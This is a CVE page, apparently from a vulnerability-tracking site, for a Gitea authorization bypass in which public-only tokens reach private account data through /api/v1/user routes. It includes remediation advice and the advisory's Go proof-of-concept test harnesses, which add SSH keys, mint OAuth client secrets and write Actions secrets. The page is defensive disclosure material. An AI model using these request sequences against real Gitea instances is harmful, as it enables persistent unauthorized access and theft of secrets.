Skip to main content

Gitea EUVDEUVD-2026-58127

| CVE-2026-24791 HIGH
Incorrect Authorization (CWE-863)
2026-06-17 https://github.com/go-gitea/gitea GHSA-wrr5-99h5-gq57
Authentication Bypass Canonical Gitea
8.1
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain public-only token with user/repo scope
  2. Delivery
    Send request to /api/v1/user/keys or /repos
  3. Exploit
    Bypass missing checkTokenPublicOnly() enforcement
  4. Execution
    Add SSH key or mint runner registration token
  5. Persist
    Persist access to private account
  6. Impact
    Read or modify private repos and secrets

Vulnerability Assessment

Weakness
CWE
CWE-863
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Sign in to read
Exploitation Conditions

Exploitation requires the victim Gitea instance to have issued a personal access token or OAuth grant that carries the public-only scope together with at least one route-required scope category (e.g., read:user, write:user, read:repository, or write:repository), and the attacker must possess or control that token. The vulnerable code path is reached only through the /api/v1/user/... self-route family, so the attacker is operating as the token's owner against the owner's own private resources (or against an OAuth client's grant); it is not a cross-account read of arbitrary other users. No user interaction is required once the token exists, the API is reachable over the network, and the canonical /api/v1/users/{username} endpoints are not affected. The condition that limits realistic exploitation is therefore the existence and compromise of a public-only-scoped token, which is a non-default issuance choice rather than a baseline state.
Impact

Signals are mixed-but-meaningful: CVSS 3.1 base 8.1 (AV:N/AC:L/PR:L/UI:N/C:H/I:H/A:N) reflects network-reachable, low-complexity, authenticated abuse with high confidentiality and integrity impact, which is consistent with the PoCs. EPSS and CISA KEV data were not provided, so likelihood of mass exploitation is unquantified, and there is no public exploit identified at time of analysis beyond the advisory's own PoCs (which qualify as publicly available exploit code). The realistic risk is moderate-to-high for any Gitea instance that accepts third-party OAuth apps or distributes scoped personal access tokens, because attackers who assume a token is safely public-only can in fact reach private credentials, secrets, and repositories; for closed instances that never mint public-only tokens the practical exposure is much lower. One data tension: the description requires an issued public-only token (a non-default precondition), which the CVSS PR:L captures but the score alone does not convey.
Exploit ScenarioDerived

A user installs a third-party Gitea integration that requests OAuth scopes such as public-only, write:user, expecting it to be safely sandboxed to public data. Using the advisory's publicly available Go PoCs, the attacker-controlled integration calls POST /api/v1/user/keys to attach an SSH key to the victim's private account, then mints a runner registration token via POST /api/v1/user/actions/runners/registration-token, gaining persistent code-execution capability against private repositories despite the supposedly public-only restriction.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of public-only access tokens or OAuth grants to read and modify private account resources via /api/v1/user/... self routes, despite the public-only flag being designed to restrict tokens to public data. The flaw is a systemic scope-boundary failure across many self routes (SSH keys, emails, OAuth apps, Actions secrets/variables/runners, private repos, webhooks), publicly available exploit code exists in the form of reproducible Go PoCs in the advisory, and the issue represents an incomplete fix of CVE-2025-68941 in a different route family.

RemediationAI

Vendor-released patch: upgrade Gitea to 1.26.2 or later, per advisory GHSA-wrr5-99h5-gq57 (https://github.com/go-gitea/gitea/security/advisories/GHSA-wrr5-99h5-gq57). Operators who cannot upgrade immediately should revoke or rotate any existing public-only personal access tokens and OAuth grants, audit /api/v1/user/keys, /api/v1/user/emails, /api/v1/user/applications/oauth2, /api/v1/user/actions/secrets, /api/v1/user/actions/variables, /api/v1/user/actions/runners, and /api/v1/user/repos for unexpected additions, and restrict third-party OAuth app registration so that public-only grants cannot be created at all (trade-off: this breaks any legitimate integrations that rely on the public-only scope). A reverse proxy can also block the /api/v1/user/ self-route family for untrusted tokens until the upgrade is applied, at the cost of breaking legitimate users of those self routes.

Affected VersionsENISA

Gitea Open Source Git Server 1.22.3 ≤1.26.1

Affected Packages

go code.gitea.io/gitea fix: 1.26.2
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

Gitea is a self-hosted Go-based Git service (CPE pkg:go/code.gitea.io_gitea). The bug lives in the REST API router at routers/api/v1/api.go: the canonical /api/v1/users/{username} group calls checkTokenPublicOnly() and rejects public-only tokens that target private users, but the generic /api/v1/user self-route group is only mounted with reqToken() plus user scope and omits the checkTokenPublicOnly() enforcement. tokenRequiresScopes() still sets ctx.PublicOnly from the token, but downstream handlers never consult it for self routes, so the token's public-only restriction is silently dropped. This matches CWE-863 (Incorrect Authorization): authorization metadata is computed correctly but not consistently enforced on every code path.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
vuln.today AI 8.1 HIGH

Network-reachable API, low complexity, requires a low-privilege public-only token (PR:L), no user interaction; high confidentiality and integrity impact on private account data, no availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

Many authenticated self routes under /api/v1/user/... do not enforce the public-only token restriction. As a result, a token or OAuth grant marked public-only, but otherwise carrying the route-required read/write scope category, can access or modify private account resources through self routes.

The canonical private-user endpoint correctly rejects the same tokens, for example GET /api/v1/users/{privateUser} returns 403. The bypass exists because the generic /api/v1/user route group requires user scope and reqToken(), but does not enforce the token's public-only restriction for most self routes.

This is a systemic token/OAuth scope-boundary bypass, not a single endpoint bug.

This appears related to the previously fixed public-only token issue tracked as CVE-2025-68941 / GHSA-xfq3-qj7j-4565, which affected Gitea < 1.22.3. The behavior described here reproduces on tested main checkout 6a2706626904. A representative SSH-key self-route PoC also reproduces on tested releases through v1.26.1. In other words, this should be treated as an incomplete fix / residual gap in a different route family, not as a duplicate of the older advisory.

Affected Code

The generic /api/v1/user group is mounted with user scope and reqToken():

  • routers/api/v1/api.go:1008-1128

tokenRequiresScopes() sets ctx.PublicOnly when the token contains public-only, but the public-only restriction is enforced only by routes that also call checkTokenPublicOnly():

  • routers/api/v1/api.go:241-294 implements checkTokenPublicOnly().
  • routers/api/v1/api.go:299-341 sets ctx.PublicOnly from the token scope.

Representative affected routes in that group:

  • /api/v1/user: private self profile and settings.
  • /api/v1/user/emails: read, add, and delete account email addresses.
  • /api/v1/user/keys: list and add SSH public keys.
  • /api/v1/user/applications/oauth2: list and create OAuth2 applications, including returned client secrets.
  • /api/v1/user/actions/secrets/{secretname}: create or delete user-level Actions secrets.
  • /api/v1/user/actions/variables: list, read, create, update, and delete user-level Actions variables.
  • /api/v1/user/actions/runners/...: list, update, delete runners, and mint registration tokens.
  • /api/v1/user/actions/runs and /api/v1/user/actions/jobs: list workflow metadata for private repositories.
  • /api/v1/user/repos: create private repositories and list private repositories.
  • /api/v1/user/subscriptions, /api/v1/user/times, /api/v1/user/stopwatches, /api/v1/user/teams, /api/v1/user/hooks: leak or modify private-account resources.

Correct public-only enforcement for comparison:

  • routers/api/v1/api.go:970-1008 applies context.UserAssignmentAPI() and checkTokenPublicOnly() to canonical /api/v1/users/{username} routes.
  • routers/api/v1/user/user.go:122-125 rejects public-only access to private users on /api/v1/users/{username}.
  • routers/api/v1/api.go:1091-1092 shows that /api/v1/user/repos requires the additional repository scope category, but still does not apply checkTokenPublicOnly().

Local PoCs

The following dynamic PoCs were retested on checkout 6a2706626904 and all reproduced successfully. Each PoC writes a temporary integration test, runs it, and removes it afterward.

bash
cd pocs
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_self_user_private_profile_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_ssh_key_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_emails_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_oauth_app_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_repos_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_registration_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_manage_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_webhook_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_runs_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_jobs_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_subscriptions_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_times_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_stopwatches_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_teams_private_org_bypass_dynamic_poc.go

Reproduced Impact Examples

Using private fixture user user31, public-only tokens are rejected by GET /api/v1/users/user31, but tokens with the route-required scopes can still reach the self routes below.

Confirmed with public-only,write:user:

  • add SSH keys through /api/v1/user/keys;
  • add account emails through /api/v1/user/emails;
  • create OAuth2 applications and receive client_secret through /api/v1/user/applications/oauth2;
  • create/delete user-level Actions secrets;
  • create/read/list/update/delete user-level Actions variables;
  • mint user-level runner registration tokens;
  • manage user-level runners;
  • create user webhooks.

Confirmed with public-only,read:user:

  • read private self profile/settings and account email surfaces;
  • list OAuth2 applications and user webhooks;
  • list private repository workflow runs/jobs exposed through self Actions routes;
  • list private subscriptions, tracked times, stopwatches, and team memberships.

Confirmed with public-only plus the route-required repository category:

  • create private repositories through POST /api/v1/user/repos with public-only,write:user,write:repository;
  • list those private repositories through GET /api/v1/user/repos with public-only,read:user,read:repository, while the canonical private repository endpoint remains forbidden.

Impact

The public-only token flag is intended to limit a token or OAuth grant to public resources. These routes violate that boundary for private accounts.

Practical abuse scenarios include:

  • a third-party app or leaked token with the route-required write scope, but restricted to public resources, adding SSH credentials or OAuth applications to a private account;
  • a public-resource-restricted token with the route-required write scope modifying Actions secrets/variables or registering/managing runners;
  • a token limited to public resources creating and enumerating private repositories;
  • a supposedly public-only integration learning private repository, workflow, team, timing, subscription, webhook, and email metadata.

Suggested Fix

Apply public-only enforcement consistently to self routes under /api/v1/user.

At minimum:

  • for self routes, treat ctx.Doer as the target user/resource owner when enforcing public-only; mechanically adding checkTokenPublicOnly() is not sufficient unless ctx.ContextUser is set to ctx.Doer or the check explicitly handles self routes;
  • reject ctx.PublicOnly on credential, identity, OAuth application, repository creation, webhook, Actions, runner, and email-management self-route mutations;
  • filter list routes so public-only tokens cannot return private repositories, private organization/team metadata, private workflow runs/jobs, private tracked time, private stopwatches, or hidden subscriptions;
  • add regression coverage that compares each affected /api/v1/user/... route against the canonical private-user or private-repository endpoint.

Non-public-only tokens should preserve current behavior.

---

Attachment: api_public_only_user_ssh_key_bypass_dynamic_poc.go

go
package main

import (
        "fmt"
        "os"
        "os/exec"
        "path/filepath"
        "strings"
)

const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT

package integration

import (
        "net/http"
        "testing"

        asymkey_model "code.gitea.io/gitea/models/asymkey"
        auth_model "code.gitea.io/gitea/models/auth"
        "code.gitea.io/gitea/models/unittest"
        user_model "code.gitea.io/gitea/models/user"
        api "code.gitea.io/gitea/modules/structs"
        "code.gitea.io/gitea/tests"

        "github.com/stretchr/testify/require"
)

func TestAPIPublicOnlyUserSSHKeyBypass(t *testing.T) {
        defer tests.PrepareTestEnv(t)()

        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
        require.True(t, privateUser.Visibility.IsPrivate())

        session := loginUser(t, privateUser.Name)
        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)

        MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)

        req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
                Title: "public-only-private-key-bypass",
                Key:   "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4cn+iXnA4KvcQYSV88vGn0Yi91vG47t1P7okprVmhNTkipNRIHWr6WdCO4VDr/cvsRkuVJAsLO2enwjGWWueOO6BodiBgyAOZ/5t5nJNMCNuLGT5UIo/RI1b0WRQwxEZTRjt6mFNw6lH14wRd8ulsr9toSWBPMOGWoYs1PDeDL0JuTjL+tr1SZi/EyxCngpYszKdXllJEHyI79KQgeD0Vt3pTrkbNVTOEcCNqZePSVmUH8X8Vhugz3bnE0/iE9Pb5fkWO9c4AnM1FgI/8Bvp27Fw2ShryIXuR6kKvUqhVMTuOSDHwu6A8jLE5Owt3GAYugDpDYuwTVNGrHLXKpPzrGGPE/jPmaLCMZcsdkec95dYeU3zKODEm8UQZFhmJmDeWVJ36nGrGZHL4J5aTTaeFUJmmXDaJYiJ+K2/ioKgXqnXvltu0A9R8/LGy4nrTJRr4JMLuJFoUXvGm1gXQ70w2LSpk6yl71RNC0hCtsBe8BP8IhYCM0EP5jh7eCMQZNvM= nocomment",
        }).AddTokenAuth(publicOnlyWriteUserToken)
        resp := MakeRequest(t, req, http.StatusCreated)
        key := DecodeJSON(t, resp, &api.PublicKey{})
        require.Equal(t, "public-only-private-key-bypass", key.Title)

        unittest.AssertExistsAndLoadBean(t, &asymkey_model.PublicKey{
                ID:      key.ID,
                OwnerID: privateUser.ID,
                Name:    "public-only-private-key-bypass",
        })

        req = NewRequest(t, "GET", "/api/v1/user/keys").AddTokenAuth(publicOnlyWriteUserToken)
        resp = MakeRequest(t, req, http.StatusOK)
        keys := DecodeJSON(t, resp, []api.PublicKey{})
        found := false
        for _, k := range keys {
                if k.ID == key.ID {
                        found = true
                        break
                }
        }
        require.True(t, found)
}
`

func repoPath() string {
        candidates := []string{}
        if repo := os.Getenv("GITEA_REPO"); repo != "" {
                candidates = append(candidates, repo)
        }
        candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")

        for _, candidate := range candidates {
                if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/key.go")); err == nil {
                        return filepath.Clean(candidate)
                }
        }
        fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
        os.Exit(2)
        return ""
}

func main() {
        repo := repoPath()
        testPath := filepath.Join(repo, "tests/integration/api_public_only_user_ssh_key_bypass_dynamic_poc_test.go")
        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
                fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
                os.Exit(2)
        }
        defer func() {
                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
                        fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
                }
        }()

        cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserSSHKeyBypass", "code.gitea.io/gitea/tests/integration")
        cmd.Dir = repo
        cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
        out, err := cmd.CombinedOutput()
        fmt.Printf("source=%s\n", repo)
        fmt.Print(string(out))
        if err != nil {
                fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
                os.Exit(1)
        }
        fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
        fmt.Println("reproduced: the same public-only token with the route-required write:user scope can add an SSH public key to the private account through /api/v1/user/keys")
        fmt.Println("reproduced: the same token can list that newly added key through /api/v1/user/keys")
        fmt.Println("condition=private user issues a public-only,write:user token")
        fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}

---

Attachment: api_public_only_user_oauth_app_bypass_dynamic_poc.go

go
package main

import (
        "fmt"
        "os"
        "os/exec"
        "path/filepath"
        "strings"
)

const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT

package integration

import (
        "net/http"
        "testing"

        auth_model "code.gitea.io/gitea/models/auth"
        "code.gitea.io/gitea/models/unittest"
        user_model "code.gitea.io/gitea/models/user"
        api "code.gitea.io/gitea/modules/structs"
        "code.gitea.io/gitea/tests"

        "github.com/stretchr/testify/require"
)

func TestAPIPublicOnlyUserOAuthAppBypass(t *testing.T) {
        defer tests.PrepareTestEnv(t)()

        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
        require.True(t, privateUser.Visibility.IsPrivate())

        session := loginUser(t, privateUser.Name)
        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
        publicOnlyReadUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeReadUser)

        MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyReadUserToken), http.StatusForbidden)

        req := NewRequestWithJSON(t, "POST", "/api/v1/user/applications/oauth2", &api.CreateOAuth2ApplicationOptions{
                Name:               "public-only-private-oauth-app",
                RedirectURIs:       []string{"https://example.com/callback"},
                ConfidentialClient: true,
        }).AddTokenAuth(publicOnlyWriteUserToken)
        resp := MakeRequest(t, req, http.StatusCreated)
        app := DecodeJSON(t, resp, &api.OAuth2Application{})
        require.Equal(t, "public-only-private-oauth-app", app.Name)
        require.NotEmpty(t, app.ClientID)
        require.NotEmpty(t, app.ClientSecret)

        req = NewRequest(t, "GET", "/api/v1/user/applications/oauth2").AddTokenAuth(publicOnlyReadUserToken)
        resp = MakeRequest(t, req, http.StatusOK)
        apps := DecodeJSON(t, resp, api.OAuth2ApplicationList{})
        found := false
        for _, a := range apps {
                if a.ID == app.ID && a.Name == app.Name {
                        found = true
                        break
                }
        }
        require.True(t, found)
}
`

func repoPath() string {
        candidates := []string{}
        if repo := os.Getenv("GITEA_REPO"); repo != "" {
                candidates = append(candidates, repo)
        }
        candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")

        for _, candidate := range candidates {
                if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/app.go")); err == nil {
                        return filepath.Clean(candidate)
                }
        }
        fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
        os.Exit(2)
        return ""
}

func main() {
        repo := repoPath()
        testPath := filepath.Join(repo, "tests/integration/api_public_only_user_oauth_app_bypass_dynamic_poc_test.go")
        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
                fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
                os.Exit(2)
        }
        defer func() {
                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
                        fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
                }
        }()

        cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserOAuthAppBypass", "code.gitea.io/gitea/tests/integration")
        cmd.Dir = repo
        cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
        out, err := cmd.CombinedOutput()
        fmt.Printf("source=%s\n", repo)
        fmt.Print(string(out))
        if err != nil {
                fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
                os.Exit(1)
        }
        fmt.Println("reproduced: public-only user-scoped tokens are rejected on the canonical private /users/{username} endpoint")
        fmt.Println("reproduced: public-only,write:user can create an OAuth2 application for the private account and receives a client secret")
        fmt.Println("reproduced: public-only,read:user can list that OAuth2 application through /api/v1/user/applications/oauth2")
        fmt.Println("condition=private user issues public-only tokens with route-required user scopes")
        fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}

---

Attachment: api_public_only_user_repos_private_repo_bypass_dynamic_poc.go

go
package main

import (
        "fmt"
        "os"
        "os/exec"
        "path/filepath"
        "strings"
)

const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT

package integration

import (
        "net/http"
        "testing"

        auth_model "code.gitea.io/gitea/models/auth"
        "code.gitea.io/gitea/models/unittest"
        user_model "code.gitea.io/gitea/models/user"
        api "code.gitea.io/gitea/modules/structs"
        "code.gitea.io/gitea/tests"

        "github.com/stretchr/testify/require"
)

func TestAPIPublicOnlyUserReposBypass(t *testing.T) {
        defer tests.PrepareTestEnv(t)()

        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
        require.True(t, privateUser.Visibility.IsPrivate())

        session := loginUser(t, privateUser.Name)
        publicOnlyReadRepoToken := getTokenForLoggedInUser(t, session,
                auth_model.AccessTokenScopePublicOnly,
                auth_model.AccessTokenScopeReadUser,
                auth_model.AccessTokenScopeReadRepository,
        )
        publicOnlyWriteRepoToken := getTokenForLoggedInUser(t, session,
                auth_model.AccessTokenScopePublicOnly,
                auth_model.AccessTokenScopeWriteUser,
                auth_model.AccessTokenScopeWriteRepository,
        )

        req := NewRequestWithJSON(t, "POST", "/api/v1/user/repos", &api.CreateRepoOption{
                Name:    "public-only-private-repo",
                Private: true,
        }).AddTokenAuth(publicOnlyWriteRepoToken)
        resp := MakeRequest(t, req, http.StatusCreated)
        created := DecodeJSON(t, resp, &api.Repository{})
        require.Equal(t, "user31/public-only-private-repo", created.FullName)
        require.True(t, created.Private)

        MakeRequest(t, NewRequest(t, "GET", "/api/v1/repos/user31/public-only-private-repo").AddTokenAuth(publicOnlyReadRepoToken), http.StatusForbidden)

        resp = MakeRequest(t, NewRequest(t, "GET", "/api/v1/user/repos").AddTokenAuth(publicOnlyReadRepoToken), http.StatusOK)
        repos := DecodeJSON(t, resp, []api.Repository{})
        found := false
        for _, repo := range repos {
                if repo.FullName == "user31/public-only-private-repo" {
                        found = true
                        require.True(t, repo.Private)
                }
        }
        require.True(t, found)
}
`

func repoPath() string {
        candidates := []string{}
        if repo := os.Getenv("GITEA_REPO"); repo != "" {
                candidates = append(candidates, repo)
        }
        candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")

        for _, candidate := range candidates {
                if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/repo.go")); err == nil {
                        return filepath.Clean(candidate)
                }
        }
        fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
        os.Exit(2)
        return ""
}

func main() {
        repo := repoPath()
        testPath := filepath.Join(repo, "tests/integration/api_public_only_user_repos_private_repo_bypass_dynamic_poc_test.go")
        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
                fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
                os.Exit(2)
        }
        defer func() {
                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
                        fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
                }
        }()

        cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserReposBypass", "code.gitea.io/gitea/tests/integration")
        cmd.Dir = repo
        cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
        out, err := cmd.CombinedOutput()
        fmt.Printf("source=%s\n", repo)
        fmt.Print(string(out))
        if err != nil {
                fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
                os.Exit(1)
        }
        fmt.Println("reproduced: public-only,write:user,write:repository can create a private repository through /api/v1/user/repos")
        fmt.Println("reproduced: public-only,read:user,read:repository is still forbidden on the canonical repository endpoint for that repo")
        fmt.Println("reproduced: the same public-only token with the route-required read:user,read:repository scope can list the private repository through /api/v1/user/repos")
        fmt.Println("condition=private user issues public-only tokens with route-required user and repository scopes")
        fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}

---

Attachment: api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go

go
package main

import (
        "fmt"
        "os"
        "os/exec"
        "path/filepath"
        "strings"
)

const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT

package integration

import (
        "net/http"
        "testing"

        auth_model "code.gitea.io/gitea/models/auth"
        "code.gitea.io/gitea/models/unittest"
        user_model "code.gitea.io/gitea/models/user"
        api "code.gitea.io/gitea/modules/structs"
        "code.gitea.io/gitea/tests"

        "github.com/stretchr/testify/require"
)

func TestAPIPublicOnlyUserActionsSecretVariableBypass(t *testing.T) {
        defer tests.PrepareTestEnv(t)()

        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
        require.True(t, privateUser.Visibility.IsPrivate())

        session := loginUser(t, privateUser.Name)
        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)

        MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)

        req := NewRequestWithJSON(t, "PUT", "/api/v1/user/actions/secrets/PRIVATE_SECRET", api.CreateOrUpdateSecretOption{
                Data: "top-secret",
        }).AddTokenAuth(publicOnlyWriteUserToken)
        MakeRequest(t, req, http.StatusCreated)

        req = NewRequestWithJSON(t, "POST", "/api/v1/user/actions/variables/PRIVATE_VAR", api.CreateVariableOption{
                Value:       "private-value",
                Description: "scoped through public-only token",
        }).AddTokenAuth(publicOnlyWriteUserToken)
        MakeRequest(t, req, http.StatusCreated)

        req = NewRequest(t, "GET", "/api/v1/user/actions/variables/PRIVATE_VAR").AddTokenAuth(publicOnlyWriteUserToken)
        resp := MakeRequest(t, req, http.StatusOK)
        variable := DecodeJSON(t, resp, &api.ActionVariable{})
        require.Equal(t, "PRIVATE_VAR", variable.Name)
        require.Equal(t, "private-value", variable.Data)

        req = NewRequest(t, "GET", "/api/v1/user/actions/variables").AddTokenAuth(publicOnlyWriteUserToken)
        resp = MakeRequest(t, req, http.StatusOK)
        variables := DecodeJSON(t, resp, []*api.ActionVariable{})
        found := false
        for _, v := range variables {
                if v.Name == "PRIVATE_VAR" && v.Data == "private-value" {
                        found = true
                        break
                }
        }
        require.True(t, found)
}
`

func repoPath() string {
        candidates := []string{}
        if repo := os.Getenv("GITEA_REPO"); repo != "" {
                candidates = append(candidates, repo)
        }
        candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")

        for _, candidate := range candidates {
                if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/action.go")); err == nil {
                        return filepath.Clean(candidate)
                }
        }
        fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
        os.Exit(2)
        return ""
}

func main() {
        repo := repoPath()
        testPath := filepath.Join(repo, "tests/integration/api_public_only_user_actions_secret_variable_bypass_dynamic_poc_test.go")
        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
                fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
                os.Exit(2)
        }
        defer func() {
                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
                        fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
                }
        }()

        cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserActionsSecretVariableBypass", "code.gitea.io/gitea/tests/integration")
        cmd.Dir = repo
        cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
        out, err := cmd.CombinedOutput()
        fmt.Printf("source=%s\n", repo)
        fmt.Print(string(out))
        if err != nil {
                fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
                os.Exit(1)
        }
        fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
        fmt.Println("reproduced: the same public-only token with the route-required write:user scope can create a user actions secret for the private account")
        fmt.Println("reproduced: the same public-only token with the route-required write:user scope can create, read, and list user actions variables")
        fmt.Println("condition=private user issues a public-only,write:user token")
        fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}

---

Attachment: api_public_only_user_runner_registration_bypass_dynamic_poc.go

go
package main

import (
        "fmt"
        "os"
        "os/exec"
        "path/filepath"
        "strings"
)

const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT

package integration

import (
        "net/http"
        "testing"

